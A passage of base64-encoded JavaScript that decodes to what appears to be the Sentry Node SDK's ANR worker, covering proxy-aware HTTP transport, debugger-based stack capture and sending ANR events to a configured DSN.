ICAgLi4ub21pdChvcHRzLCAnaG9zdCcsICdwYXRoJywgJ3BvcnQnKSwKICAgICAgICAgIHNvY2tldCwKICAgICAgICAgIHNlcnZlcm5hbWU6IG5ldC5pc0lQKHNlcnZlcm5hbWUpID8gdW5kZWZpbmVkIDogc2VydmVybmFtZSwKICAgICAgICB9KTsKICAgICAgfQoKICAgICAgcmV0dXJuIHNvY2tldDsKICAgIH0KCiAgICAvLyBTb21lIG90aGVyIHN0YXR1cyBjb2RlIHRoYXQncyBub3QgMjAwLi4uIG5lZWQgdG8gcmUtcGxheSB0aGUgSFRUUAogICAgLy8gaGVhZGVyICJkYXRhIiBldmVudHMgb250byB0aGUgc29ja2V0IG9uY2UgdGhlIEhUVFAgbWFjaGluZXJ5IGlzCiAgICAvLyBhdHRhY2hlZCBzbyB0aGF0IHRoZSBub2RlIGNvcmUgYGh0dHBgIGNhbiBwYXJzZSBhbmQgaGFuZGxlIHRoZQogICAgLy8gZXJyb3Igc3RhdHVzIGNvZGUuCgogICAgLy8gQ2xvc2UgdGhlIG9yaWdpbmFsIHNvY2tldCwgYW5kIGEgbmV3ICJmYWtlIiBzb2NrZXQgaXMgcmV0dXJuZWQKICAgIC8vIGluc3RlYWQsIHNvIHRoYXQgdGhlIHByb3h5IGRvZXNuJ3QgZ2V0IHRoZSBIVFRQIHJlcXVlc3QKICAgIC8vIHdyaXR0ZW4gdG8gaXQgKHdoaWNoIG1heSBjb250YWluIGBBdXRob3JpemF0aW9uYCBoZWFkZXJzIG9yIG90aGVyCiAgICAvLyBzZW5zaXRpdmUgZGF0YSkuCiAgICAvLwogICAgLy8gU2VlOiBodHRwczovL2hhY2tlcm9uZS5jb20vcmVwb3J0cy81NDE1MDIKICAgIHNvY2tldC5kZXN0cm95KCk7CgogICAgY29uc3QgZmFrZVNvY2tldCA9IG5ldyBuZXQuU29ja2V0KHsgd3JpdGFibGU6IGZhbHNlIH0pOwogICAgZmFrZVNvY2tldC5yZWFkYWJsZSA9IHRydWU7CgogICAgLy8gTmVlZCB0byB3YWl0IGZvciB0aGUgInNvY2tldCIgZXZlbnQgdG8gcmUtcGxheSB0aGUgImRhdGEiIGV2ZW50cy4KICAgIHJlcS5vbmNlKCdzb2NrZXQnLCAocykgPT4gewogICAgICBkZWJ1ZygnUmVwbGF5aW5nIHByb3h5IGJ1ZmZlciBmb3IgZmFpbGVkIHJlcXVlc3QnKTsKICAgICAgLy8gUmVwbGF5IHRoZSAiYnVmZmVyZWQiIEJ1ZmZlciBvbnRvIHRoZSBmYWtlIGBzb2NrZXRgLCBzaW5jZSBhdAogICAgICAvLyB0aGlzIHBvaW50IHRoZSBIVFRQIG1vZHVsZSBtYWNoaW5lcnkgaGFzIGJlZW4gaG9va2VkIHVwIGZvcgogICAgICAvLyB0aGUgdXNlci4KICAgICAgcy5wdXNoKGJ1ZmZlcmVkKTsKICAgICAgcy5wdXNoKG51bGwpOwogICAgfSk7CgogICAgcmV0dXJuIGZha2VTb2NrZXQ7CiAgfQp9IEh0dHBzUHJveHlBZ2VudC5fX2luaXRTdGF0aWMoKTsKCmZ1bmN0aW9uIHJlc3VtZShzb2NrZXQpIHsKICBzb2NrZXQucmVzdW1lKCk7Cn0KCmZ1bmN0aW9uIG9taXQoCiAgb2JqLAogIC4uLmtleXMKKQoKIHsKICBjb25zdCByZXQgPSB7fQoKOwogIGxldCBrZXk7CiAgZm9yIChrZXkgaW4gb2JqKSB7CiAgICBpZiAoIWtleXMuaW5jbHVkZXMoa2V5KSkgewogICAgICByZXRba2V5XSA9IG9ialtrZXldOwogICAgfQogIH0KICByZXR1cm4gcmV0Owp9CgpmdW5jdGlvbiBfbnVsbGlzaENvYWxlc2NlKGxocywgcmhzRm4pIHsgaWYgKGxocyAhPSBudWxsKSB7IHJldHVybiBsaHM7IH0gZWxzZSB7IHJldHVybiByaHNGbigpOyB9IH0KLy8gRXN0aW1hdGVkIG1heGltdW0gc2l6ZSBmb3IgcmVhc29uYWJsZSBzdGFuZGFsb25lIGV2ZW50CmNvbnN0IEdaSVBfVEhSRVNIT0xEID0gMTAyNCAqIDMyOwoKLyoqCiAqIEdldHMgYSBzdHJlYW0gZnJvbSBhIFVpbnQ4QXJyYXkgb3Igc3RyaW5nCiAqIFJlYWRhYmxlLmZyb20gaXMgaWRlYWwgYnV0IHdhcyBhZGRlZCBpbiBub2RlLmpzIHYxMi4zLjAgYW5kIHYxMC4xNy4wCiAqLwpmdW5jdGlvbiBzdHJlYW1Gcm9tQm9keShib2R5KSB7CiAgcmV0dXJuIG5ldyBSZWFkYWJsZSh7CiAgICByZWFkKCkgewogICAgICB0aGlzLnB1c2goYm9keSk7CiAgICAgIHRoaXMucHVzaChudWxsKTsKICAgIH0sCiAgfSk7Cn0KCi8qKgogKiBDcmVhdGVzIGEgVHJhbnNwb3J0IHRoYXQgdXNlcyBuYXRpdmUgdGhlIG5hdGl2ZSAnaHR0cCcgYW5kICdodHRwcycgbW9kdWxlcyB0byBzZW5kIGV2ZW50cyB0byBTZW50cnkuCiAqLwpmdW5jdGlvbiBtYWtlTm9kZVRyYW5zcG9ydChvcHRpb25zKSB7CiAgbGV0IHVybFNlZ21lbnRzOwoKICB0cnkgewogICAgdXJsU2VnbWVudHMgPSBuZXcgVVJMKG9wdGlvbnMudXJsKTsKICB9IGNhdGNoIChlKSB7CiAgICBjb25zb2xlU2FuZGJveCgoKSA9PiB7CiAgICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1jb25zb2xlCiAgICAgIGNvbnNvbGUud2FybigKICAgICAgICAnW0BzZW50cnkvbm9kZV06IEludmFsaWQgZHNuIG9yIHR1bm5lbCBvcHRpb24sIHdpbGwgbm90IHNlbmQgYW55IGV2ZW50cy4gVGhlIHR1bm5lbCBvcHRpb24gbXVzdCBiZSBhIGZ1bGwgVVJMIHdoZW4gdXNlZC4nLAogICAgICApOwogICAgfSk7CiAgICByZXR1cm4gY3JlYXRlVHJhbnNwb3J0KG9wdGlvbnMsICgpID0+IFByb21pc2UucmVzb2x2ZSh7fSkpOwogIH0KCiAgY29uc3QgaXNIdHRwcyA9IHVybFNlZ21lbnRzLnByb3RvY29sID09PSAnaHR0cHM6JzsKCiAgLy8gUHJveHkgcHJpb3JpdGl6YXRpb246IGh0dHAgPT4gYG9wdGlvbnMucHJveHlgIHwgYHByb2Nlc3MuZW52Lmh0dHBfcHJveHlgCiAgLy8gUHJveHkgcHJpb3JpdGl6YXRpb246IGh0dHBzID0+IGBvcHRpb25zLnByb3h5YCB8IGBwcm9jZXNzLmVudi5odHRwc19wcm94eWAgfCBgcHJvY2Vzcy5lbnYuaHR0cF9wcm94eWAKICBjb25zdCBwcm94eSA9IGFwcGx5Tm9Qcm94eU9wdGlvbigKICAgIHVybFNlZ21lbnRzLAogICAgb3B0aW9ucy5wcm94eSB8fCAoaXNIdHRwcyA/IHByb2Nlc3MuZW52Lmh0dHBzX3Byb3h5IDogdW5kZWZpbmVkKSB8fCBwcm9jZXNzLmVudi5odHRwX3Byb3h5LAogICk7CgogIGNvbnN0IG5hdGl2ZUh0dHBNb2R1bGUgPSBpc0h0dHBzID8gaHR0cHMgOiBodHRwOwogIGNvbnN0IGtlZXBBbGl2ZSA9IG9wdGlvbnMua2VlcEFsaXZlID09PSB1bmRlZmluZWQgPyBmYWxzZSA6IG9wdGlvbnMua2VlcEFsaXZlOwoKICAvLyBUT0RPKHY3KTogRXZhbHVhdGUgaWYgd2UgY2FuIHNldCBrZWVwQWxpdmUgdG8gdHJ1ZS4gVGhpcyB3b3VsZCBpbnZvbHZlIHRlc3RpbmcgZm9yIG1lbW9yeSBsZWFrcyBpbiBvbGRlciBub2RlCiAgLy8gdmVyc2lvbnMoPj0gOCkgYXMgdGhleSBoYWQgbWVtb3J5IGxlYWtzIHdoZW4gdXNpbmcgaXQ6ICMyNTU1CiAgY29uc3QgYWdlbnQgPSBwcm94eQogICAgPyAobmV3IEh0dHBzUHJveHlBZ2VudChwcm94eSkgKQogICAgOiBuZXcgbmF0aXZlSHR0cE1vZHVsZS5BZ2VudCh7IGtlZXBBbGl2ZSwgbWF4U29ja2V0czogMzAsIHRpbWVvdXQ6IDIwMDAgfSk7CgogIGNvbnN0IHJlcXVlc3RFeGVjdXRvciA9IGNyZWF0ZVJlcXVlc3RFeGVjdXRvcihvcHRpb25zLCBfbnVsbGlzaENvYWxlc2NlKG9wdGlvbnMuaHR0cE1vZHVsZSwgKCkgPT4gKCBuYXRpdmVIdHRwTW9kdWxlKSksIGFnZW50KTsKICByZXR1cm4gY3JlYXRlVHJhbnNwb3J0KG9wdGlvbnMsIHJlcXVlc3RFeGVjdXRvcik7Cn0KCi8qKgogKiBIb25vcnMgdGhlIGBub19wcm94eWAgZW52IHZhcmlhYmxlIHdpdGggdGhlIGhpZ2hlc3QgcHJpb3JpdHkgdG8gYWxsb3cgZm9yIGhvc3RzIGV4Y2x1c2lvbi4KICoKICogQHBhcmFtIHRyYW5zcG9ydFVybCBUaGUgVVJMIHRoZSB0cmFuc3BvcnQgaW50ZW5kcyB0byBzZW5kIGV2ZW50cyB0by4KICogQHBhcmFtIHByb3h5IFRoZSBjbGllbnQgY29uZmlndXJlZCBwcm94eS4KICogQHJldHVybnMgQSBwcm94eSB0aGUgdHJhbnNwb3J0IHNob3VsZCB1c2UuCiAqLwpmdW5jdGlvbiBhcHBseU5vUHJveHlPcHRpb24odHJhbnNwb3J0VXJsU2VnbWVudHMsIHByb3h5KSB7CiAgY29uc3QgeyBub19wcm94eSB9ID0gcHJvY2Vzcy5lbnY7CgogIGNvbnN0IHVybElzRXhlbXB0RnJvbVByb3h5ID0KICAgIG5vX3Byb3h5ICYmCiAgICBub19wcm94eQogICAgICAuc3BsaXQoJywnKQogICAgICAuc29tZSgKICAgICAgICBleGVtcHRpb24gPT4gdHJhbnNwb3J0VXJsU2VnbWVudHMuaG9zdC5lbmRzV2l0aChleGVtcHRpb24pIHx8IHRyYW5zcG9ydFVybFNlZ21lbnRzLmhvc3RuYW1lLmVuZHNXaXRoKGV4ZW1wdGlvbiksCiAgICAgICk7CgogIGlmICh1cmxJc0V4ZW1wdEZyb21Qcm94eSkgewogICAgcmV0dXJuIHVuZGVmaW5lZDsKICB9IGVsc2UgewogICAgcmV0dXJuIHByb3h5OwogIH0KfQoKLyoqCiAqIENyZWF0ZXMgYSBSZXF1ZXN0RXhlY3V0b3IgdG8gYmUgdXNlZCB3aXRoIGBjcmVhdGVUcmFuc3BvcnRgLgogKi8KZnVuY3Rpb24gY3JlYXRlUmVxdWVzdEV4ZWN1dG9yKAogIG9wdGlvbnMsCiAgaHR0cE1vZHVsZSwKICBhZ2VudCwKKSB7CiAgY29uc3QgeyBob3N0bmFtZSwgcGF0aG5hbWUsIHBvcnQsIHByb3RvY29sLCBzZWFyY2ggfSA9IG5ldyBVUkwob3B0aW9ucy51cmwpOwogIHJldHVybiBmdW5jdGlvbiBtYWtlUmVxdWVzdChyZXF1ZXN0KSB7CiAgICByZXR1cm4gbmV3IFByb21pc2UoKHJlc29sdmUsIHJlamVjdCkgPT4gewogICAgICBsZXQgYm9keSA9IHN0cmVhbUZyb21Cb2R5KHJlcXVlc3QuYm9keSk7CgogICAgICBjb25zdCBoZWFkZXJzID0geyAuLi5vcHRpb25zLmhlYWRlcnMgfTsKCiAgICAgIGlmIChyZXF1ZXN0LmJvZHkubGVuZ3RoID4gR1pJUF9USFJFU0hPTEQpIHsKICAgICAgICBoZWFkZXJzWydjb250ZW50LWVuY29kaW5nJ10gPSAnZ3ppcCc7CiAgICAgICAgYm9keSA9IGJvZHkucGlwZShjcmVhdGVHemlwKCkpOwogICAgICB9CgogICAgICBjb25zdCByZXEgPSBodHRwTW9kdWxlLnJlcXVlc3QoCiAgICAgICAgewogICAgICAgICAgbWV0aG9kOiAnUE9TVCcsCiAgICAgICAgICBhZ2VudCwKICAgICAgICAgIGhlYWRlcnMsCiAgICAgICAgICBob3N0bmFtZSwKICAgICAgICAgIHBhdGg6IGAke3BhdGhuYW1lfSR7c2VhcmNofWAsCiAgICAgICAgICBwb3J0LAogICAgICAgICAgcHJvdG9jb2wsCiAgICAgICAgICBjYTogb3B0aW9ucy5jYUNlcnRzLAogICAgICAgIH0sCiAgICAgICAgcmVzID0+IHsKICAgICAgICAgIHJlcy5vbignZGF0YScsICgpID0+IHsKICAgICAgICAgICAgLy8gRHJhaW4gc29ja2V0CiAgICAgICAgICB9KTsKCiAgICAgICAgICByZXMub24oJ2VuZCcsICgpID0+IHsKICAgICAgICAgICAgLy8gRHJhaW4gc29ja2V0CiAgICAgICAgICB9KTsKCiAgICAgICAgICByZXMuc2V0RW5jb2RpbmcoJ3V0ZjgnKTsKCiAgICAgICAgICAvLyAiS2V5LXZhbHVlIHBhaXJzIG9mIGhlYWRlciBuYW1lcyBhbmQgdmFsdWVzLiBIZWFkZXIgbmFtZXMgYXJlIGxvd2VyLWNhc2VkLiIKICAgICAgICAgIC8vIGh0dHBzOi8vbm9kZWpzLm9yZy9hcGkvaHR0cC5odG1sI2h0dHBfbWVzc2FnZV9oZWFkZXJzCiAgICAgICAgICBjb25zdCByZXRyeUFmdGVySGVhZGVyID0gX251bGxpc2hDb2FsZXNjZShyZXMuaGVhZGVyc1sncmV0cnktYWZ0ZXInXSwgKCkgPT4gKCBudWxsKSk7CiAgICAgICAgICBjb25zdCByYXRlTGltaXRzSGVhZGVyID0gX251bGxpc2hDb2FsZXNjZShyZXMuaGVhZGVyc1sneC1zZW50cnktcmF0ZS1saW1pdHMnXSwgKCkgPT4gKCBudWxsKSk7CgogICAgICAgICAgcmVzb2x2ZSh7CiAgICAgICAgICAgIHN0YXR1c0NvZGU6IHJlcy5zdGF0dXNDb2RlLAogICAgICAgICAgICBoZWFkZXJzOiB7CiAgICAgICAgICAgICAgJ3JldHJ5LWFmdGVyJzogcmV0cnlBZnRlckhlYWRlciwKICAgICAgICAgICAgICAneC1zZW50cnktcmF0ZS1saW1pdHMnOiBBcnJheS5pc0FycmF5KHJhdGVMaW1pdHNIZWFkZXIpID8gcmF0ZUxpbWl0c0hlYWRlclswXSA6IHJhdGVMaW1pdHNIZWFkZXIsCiAgICAgICAgICAgIH0sCiAgICAgICAgICB9KTsKICAgICAgICB9LAogICAgICApOwoKICAgICAgcmVxLm9uKCdlcnJvcicsIHJlamVjdCk7CiAgICAgIGJvZHkucGlwZShyZXEpOwogICAgfSk7CiAgfTsKfQoKZnVuY3Rpb24gX29wdGlvbmFsQ2hhaW4ob3BzKSB7IGxldCBsYXN0QWNjZXNzTEhTID0gdW5kZWZpbmVkOyBsZXQgdmFsdWUgPSBvcHNbMF07IGxldCBpID0gMTsgd2hpbGUgKGkgPCBvcHMubGVuZ3RoKSB7IGNvbnN0IG9wID0gb3BzW2ldOyBjb25zdCBmbiA9IG9wc1tpICsgMV07IGkgKz0gMjsgaWYgKChvcCA9PT0gJ29wdGlvbmFsQWNjZXNzJyB8fCBvcCA9PT0gJ29wdGlvbmFsQ2FsbCcpICYmIHZhbHVlID09IG51bGwpIHsgcmV0dXJuIHVuZGVmaW5lZDsgfSBpZiAob3AgPT09ICdhY2Nlc3MnIHx8IG9wID09PSAnb3B0aW9uYWxBY2Nlc3MnKSB7IGxhc3RBY2Nlc3NMSFMgPSB2YWx1ZTsgdmFsdWUgPSBmbih2YWx1ZSk7IH0gZWxzZSBpZiAob3AgPT09ICdjYWxsJyB8fCBvcCA9PT0gJ29wdGlvbmFsQ2FsbCcpIHsgdmFsdWUgPSBmbigoLi4uYXJncykgPT4gdmFsdWUuY2FsbChsYXN0QWNjZXNzTEhTLCAuLi5hcmdzKSk7IGxhc3RBY2Nlc3NMSFMgPSB1bmRlZmluZWQ7IH0gfSByZXR1cm4gdmFsdWU7IH0KY29uc3Qgb3B0aW9ucyA9IHdvcmtlckRhdGE7CmxldCBzZXNzaW9uOwpsZXQgaGFzU2VudEFuckV2ZW50ID0gZmFsc2U7CgpmdW5jdGlvbiBsb2cobXNnKSB7CiAgaWYgKG9wdGlvbnMuZGVidWcpIHsKICAgIC8vIGVzbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1jb25zb2xlCiAgICBjb25zb2xlLmxvZyhgW0FOUiBXb3JrZXJdICR7bXNnfWApOwogIH0KfQoKY29uc3QgdXJsID0gZ2V0RW52ZWxvcGVFbmRwb2ludFdpdGhVcmxFbmNvZGVkQXV0aChvcHRpb25zLmRzbik7CmNvbnN0IHRyYW5zcG9ydCA9IG1ha2VOb2RlVHJhbnNwb3J0KHsKICB1cmwsCiAgcmVjb3JkRHJvcHBlZEV2ZW50OiAoKSA9PiB7CiAgICAvLwogIH0sCn0pOwoKYXN5bmMgZnVuY3Rpb24gc2VuZEFibm9ybWFsU2Vzc2lvbigpIHsKICAvLyBvZiB3ZSBoYXZlIGFuIGV4aXN0aW5nIHNlc3Npb24gcGFzc2VkIGZyb20gdGhlIG1haW4gdGhyZWFkLCBzZW5kIGl0IGFzIGFibm9ybWFsCiAgaWYgKHNlc3Npb24pIHsKICAgIGxvZygnU2VuZGluZyBhYm5vcm1hbCBzZXNzaW9uJyk7CiAgICB1cGRhdGVTZXNzaW9uKHNlc3Npb24sIHsgc3RhdHVzOiAnYWJub3JtYWwnLCBhYm5vcm1hbF9tZWNoYW5pc206ICdhbnJfZm9yZWdyb3VuZCcgfSk7CgogICAgY29uc3QgZW52ZWxvcGUgPSBjcmVhdGVTZXNzaW9uRW52ZWxvcGUoc2Vzc2lvbiwgb3B0aW9ucy5kc24sIG9wdGlvbnMuc2RrTWV0YWRhdGEpOwogICAgLy8gTG9nIHRoZSBlbnZlbG9wZSBzbyB0byBhaWQgaW4gdGVzdGluZwogICAgbG9nKEpTT04uc3RyaW5naWZ5KGVudmVsb3BlKSk7CgogICAgYXdhaXQgdHJhbnNwb3J0LnNlbmQoZW52ZWxvcGUpOwoKICAgIHRyeSB7CiAgICAgIC8vIE5vdGlmeSB0aGUgbWFpbiBwcm9jZXNzIHRoYXQgdGhlIHNlc3Npb24gaGFzIGVuZGVkIHNvIHRoZSBzZXNzaW9uIGNhbiBiZSBjbGVhcmVkIGZyb20gdGhlIHNjb3BlCiAgICAgIF9vcHRpb25hbENoYWluKFtwYXJlbnRQb3J0LCAnb3B0aW9uYWxBY2Nlc3MnLCBfMiA9PiBfMi5wb3N0TWVzc2FnZSwgJ2NhbGwnLCBfMyA9PiBfMygnc2Vzc2lvbi1lbmRlZCcpXSk7CiAgICB9IGNhdGNoIChfKSB7CiAgICAgIC8vIGlnbm9yZQogICAgfQogIH0KfQoKbG9nKCdTdGFydGVkJyk7CgpmdW5jdGlvbiBwcmVwYXJlU3RhY2tGcmFtZXMoc3RhY2tGcmFtZXMpIHsKICBpZiAoIXN0YWNrRnJhbWVzKSB7CiAgICByZXR1cm4gdW5kZWZpbmVkOwogIH0KCiAgLy8gU3RyaXAgU2VudHJ5IGZyYW1lcyBhbmQgcmV2ZXJzZSB0aGUgc3RhY2sgZnJhbWVzIHNvIHRoZXkgYXJlIGluIHRoZSBjb3JyZWN0IG9yZGVyCiAgY29uc3Qgc3RyaXBwZWRGcmFtZXMgPSBzdHJpcFNlbnRyeUZyYW1lc0FuZFJldmVyc2Uoc3RhY2tGcmFtZXMpOwoKICAvLyBJZiB3ZSBoYXZlIGFuIGFwcCByb290IHBhdGgsIHJld3JpdGUgdGhlIGZpbGVuYW1lcyB0byBiZSByZWxhdGl2ZSB0byB0aGUgYXBwIHJvb3QKICBpZiAob3B0aW9ucy5hcHBSb290UGF0aCkgewogICAgZm9yIChjb25zdCBmcmFtZSBvZiBzdHJpcHBlZEZyYW1lcykgewogICAgICBpZiAoIWZyYW1lLmZpbGVuYW1lKSB7CiAgICAgICAgY29udGludWU7CiAgICAgIH0KCiAgICAgIGZyYW1lLmZpbGVuYW1lID0gbm9ybWFsaXplVXJsVG9CYXNlKGZyYW1lLmZpbGVuYW1lLCBvcHRpb25zLmFwcFJvb3RQYXRoKTsKICAgIH0KICB9CgogIHJldHVybiBzdHJpcHBlZEZyYW1lczsKfQoKZnVuY3Rpb24gYXBwbHlTY29wZVRvRXZlbnQoZXZlbnQsIHNjb3BlKSB7CiAgYXBwbHlTY29wZURhdGFUb0V2ZW50KGV2ZW50LCBzY29wZSk7CgogIGlmICghX29wdGlvbmFsQ2hhaW4oW2V2ZW50LCAnYWNjZXNzJywgXzQgPT4gXzQuY29udGV4dHMsICdvcHRpb25hbEFjY2VzcycsIF81ID0+IF81LnRyYWNlXSkpIHsKICAgIGNvbnN0IHsgdHJhY2VJZCwgc3BhbklkLCBwYXJlbnRTcGFuSWQgfSA9IHNjb3BlLnByb3BhZ2F0aW9uQ29udGV4dDsKICAgIGV2ZW50LmNvbnRleHRzID0gewogICAgICB0cmFjZTogewogICAgICAgIHRyYWNlX2lkOiB0cmFjZUlkLAogICAgICAgIHNwYW5faWQ6IHNwYW5JZCwKICAgICAgICBwYXJlbnRfc3Bhbl9pZDogcGFyZW50U3BhbklkLAogICAgICB9LAogICAgICAuLi5ldmVudC5jb250ZXh0cywKICAgIH07CiAgfQp9Cgphc3luYyBmdW5jdGlvbiBzZW5kQW5yRXZlbnQoZnJhbWVzLCBzY29wZSkgewogIGlmIChoYXNTZW50QW5yRXZlbnQpIHsKICAgIHJldHVybjsKICB9CgogIGhhc1NlbnRBbnJFdmVudCA9IHRydWU7CgogIGF3YWl0IHNlbmRBYm5vcm1hbFNlc3Npb24oKTsKCiAgbG9nKCdTZW5kaW5nIGV2ZW50Jyk7CgogIGNvbnN0IGV2ZW50ID0gewogICAgZXZlbnRfaWQ6IHV1aWQ0KCksCiAgICBjb250ZXh0czogb3B0aW9ucy5jb250ZXh0cywKICAgIHJlbGVhc2U6IG9wdGlvbnMucmVsZWFzZSwKICAgIGVudmlyb25tZW50OiBvcHRpb25zLmVudmlyb25tZW50LAogICAgZGlzdDogb3B0aW9ucy5kaXN0LAogICAgcGxhdGZvcm06ICdub2RlJywKICAgIGxldmVsOiAnZXJyb3InLAogICAgZXhjZXB0aW9uOiB7CiAgICAgIHZhbHVlczogWwogICAgICAgIHsKICAgICAgICAgIHR5cGU6ICdBcHBsaWNhdGlvbk5vdFJlc3BvbmRpbmcnLAogICAgICAgICAgdmFsdWU6IGBBcHBsaWNhdGlvbiBOb3QgUmVzcG9uZGluZyBmb3IgYXQgbGVhc3QgJHtvcHRpb25zLmFuclRocmVzaG9sZH0gbXNgLAogICAgICAgICAgc3RhY2t0cmFjZTogeyBmcmFtZXM6IHByZXBhcmVTdGFja0ZyYW1lcyhmcmFtZXMpIH0sCiAgICAgICAgICAvLyBUaGlzIGVuc3VyZXMgdGhlIFVJIGRvZXNuJ3Qgc2F5ICdDcmFzaGVkIGluJyBmb3IgdGhlIHN0YWNrIHRyYWNlCiAgICAgICAgICBtZWNoYW5pc206IHsgdHlwZTogJ0FOUicgfSwKICAgICAgICB9LAogICAgICBdLAogICAgfSwKICAgIHRhZ3M6IG9wdGlvbnMuc3RhdGljVGFncywKICB9OwoKICBpZiAoc2NvcGUpIHsKICAgIGFwcGx5U2NvcGVUb0V2ZW50KGV2ZW50LCBzY29wZSk7CiAgfQoKICBjb25zdCBlbnZlbG9wZSA9IGNyZWF0ZUV2ZW50RW52ZWxvcGUoZXZlbnQsIG9wdGlvbnMuZHNuLCBvcHRpb25zLnNka01ldGFkYXRhKTsKICAvLyBMb2cgdGhlIGVudmVsb3BlIHRvIGFpZCBpbiB0ZXN0aW5nCiAgbG9nKEpTT04uc3RyaW5naWZ5KGVudmVsb3BlKSk7CgogIGF3YWl0IHRyYW5zcG9ydC5zZW5kKGVudmVsb3BlKTsKICBhd2FpdCB0cmFuc3BvcnQuZmx1c2goMjAwMCk7CgogIC8vIERlbGF5IGZvciA1IHNlY29uZHMgc28gdGhhdCBzdGRpbyBjYW4gZmx1c2ggaW4gdGhlIG1haW4gZXZlbnQgbG9vcCBldmVyIHJlc3RhcnRzLgogIC8vIFRoaXMgaXMgbWFpbmx5IGZvciB0aGUgYmVuZWZpdCBvZiBsb2dnaW5nL2RlYnVnZ2luZyBpc3N1ZXMuCiAgc2V0VGltZW91dCgoKSA9PiB7CiAgICBwcm9jZXNzLmV4aXQoMCk7CiAgfSwgNTAwMCk7Cn0KCmxldCBkZWJ1Z2dlclBhdXNlOwoKaWYgKG9wdGlvbnMuY2FwdHVyZVN0YWNrVHJhY2UpIHsKICBsb2coJ0Nvbm5lY3RpbmcgdG8gZGVidWdnZXInKTsKCiAgY29uc3Qgc2Vzc2lvbiA9IG5ldyBTZXNzaW9uKCkgOwogIHNlc3Npb24uY29ubmVjdFRvTWFpblRocmVhZCgpOwoKICBsb2coJ0Nvbm5lY3RlZCB0byBkZWJ1Z2dlcicpOwoKICAvLyBDb2xsZWN0IHNjcmlwdElkIC0+IHVybCBtYXAgc28gd2UgY2FuIGxvb2sgdXAgdGhlIGZpbGVuYW1lcyBsYXRlcgogIGNvbnN0IHNjcmlwdHMgPSBuZXcgTWFwKCk7CgogIHNlc3Npb24ub24oJ0RlYnVnZ2VyLnNjcmlwdFBhcnNlZCcsIGV2ZW50ID0+IHsKICAgIHNjcmlwdHMuc2V0KGV2ZW50LnBhcmFtcy5zY3JpcHRJZCwgZXZlbnQucGFyYW1zLnVybCk7CiAgfSk7CgogIHNlc3Npb24ub24oJ0RlYnVnZ2VyLnBhdXNlZCcsIGV2ZW50ID0+IHsKICAgIGlmIChldmVudC5wYXJhbXMucmVhc29uICE9PSAnb3RoZXInKSB7CiAgICAgIHJldHVybjsKICAgIH0KCiAgICB0cnkgewogICAgICBsb2coJ0RlYnVnZ2VyIHBhdXNlZCcpOwoKICAgICAgLy8gY29weSB0aGUgZnJhbWVzCiAgICAgIGNvbnN0IGNhbGxGcmFtZXMgPSBbLi4uZXZlbnQucGFyYW1zLmNhbGxGcmFtZXNdOwoKICAgICAgY29uc3QgZ2V0TW9kdWxlTmFtZSA9IG9wdGlvbnMuYXBwUm9vdFBhdGggPyBjcmVhdGVHZXRNb2R1bGVGcm9tRmlsZW5hbWUob3B0aW9ucy5hcHBSb290UGF0aCkgOiAoKSA9PiB1bmRlZmluZWQ7CiAgICAgIGNvbnN0IHN0YWNrRnJhbWVzID0gY2FsbEZyYW1lcy5tYXAoZnJhbWUgPT4KICAgICAgICBjYWxsRnJhbWVUb1N0YWNrRnJhbWUoZnJhbWUsIHNjcmlwdHMuZ2V0KGZyYW1lLmxvY2F0aW9uLnNjcmlwdElkKSwgZ2V0TW9kdWxlTmFtZSksCiAgICAgICk7CgogICAgICAvLyBFdmFsdWF0ZSBhIHNjcmlwdCBpbiB0aGUgY3VycmVudGx5IHBhdXNlZCBjb250ZXh0CiAgICAgIHNlc3Npb24ucG9zdCgKICAgICAgICAnUnVudGltZS5ldmFsdWF0ZScsCiAgICAgICAgewogICAgICAgICAgLy8gR3JhYiB0aGUgdHJhY2UgY29udGV4dCBmcm9tIHRoZSBjdXJyZW50IHNjb3BlCiAgICAgICAgICBleHByZXNzaW9uOiAnZ2xvYmFsLl9fU0VOVFJZX0dFVF9TQ09QRVNfXygpOycsCiAgICAgICAgICAvLyBEb24ndCByZS10cmlnZ2VyIHRoZSBkZWJ1Z2dlciBpZiB0aGlzIGNhdXNlcyBhbiBlcnJvcgogICAgICAgICAgc2lsZW50OiB0cnVlLAogICAgICAgICAgLy8gU2VyaWFsaXplIHRoZSByZXN1bHQgdG8ganNvbiBvdGhlcndpc2Ugb25seSBwcmltaXRpdmVzIGFyZSBzdXBwb3J0ZWQKICAgICAgICAgIHJldHVybkJ5VmFsdWU6IHRydWUsCiAgICAgICAgfSwKICAgICAgICAoZXJyLCBwYXJhbSkgPT4gewogICAgICAgICAgaWYgKGVycikgewogICAgICAgICAgICBsb2coYEVycm9yIGV4ZWN1dGluZyBzY3JpcHQ6ICcke2Vyci5tZXNzYWdlfSdgKTsKICAgICAgICAgIH0KCiAgICAgICAgICBjb25zdCBzY29wZXMgPSBwYXJhbSAmJiBwYXJhbS5yZXN1bHQgPyAocGFyYW0ucmVzdWx0LnZhbHVlICkgOiB1bmRlZmluZWQ7CgogICAgICAgICAgc2Vzc2lvbi5wb3N0KCdEZWJ1Z2dlci5yZXN1bWUnKTsKICAgICAgICAgIHNlc3Npb24ucG9zdCgnRGVidWdnZXIuZGlzYWJsZScpOwoKICAgICAgICAgIHNlbmRBbnJFdmVudChzdGFja0ZyYW1lcywgc2NvcGVzKS50aGVuKG51bGwsICgpID0+IHsKICAgICAgICAgICAgbG9nKCdTZW5kaW5nIEFOUiBldmVudCBmYWlsZWQuJyk7CiAgICAgICAgICB9KTsKICAgICAgICB9LAogICAgICApOwogICAgfSBjYXRjaCAoZSkgewogICAgICBzZXNzaW9uLnBvc3QoJ0RlYnVnZ2VyLnJlc3VtZScpOwogICAgICBzZXNzaW9uLnBvc3QoJ0RlYnVnZ2VyLmRpc2FibGUnKTsKICAgICAgdGhyb3cgZTsKICAgIH0KICB9KTsKCiAgZGVidWdnZXJQYXVzZSA9ICgpID0+IHsKICAgIHRyeSB7CiAgICAgIHNlc3Npb24ucG9zdCgnRGVidWdnZXIuZW5hYmxlJywgKCkgPT4gewogICAgICAgIHNlc3Npb24ucG9zdCgnRGVidWdnZXIucGF1c2UnKTsKICAgICAgfSk7CiAgICB9IGNhdGNoIChfKSB7CiAgICAgIC8vCiAgICB9CiAgfTsKfQoKZnVuY3Rpb24gY3JlYXRlSHJUaW1lcigpIHsKICAvLyBUT0RPICh2OCk6IFdlIGNhbiB1c2UgcHJvY2Vzcy5ocnRpbWUuYmlnaW50KCkgYWZ0ZXIgd2UgZHJvcCBub2RlIHY4CiAgbGV0IGxhc3RQb2xsID0gcHJvY2Vzcy5oc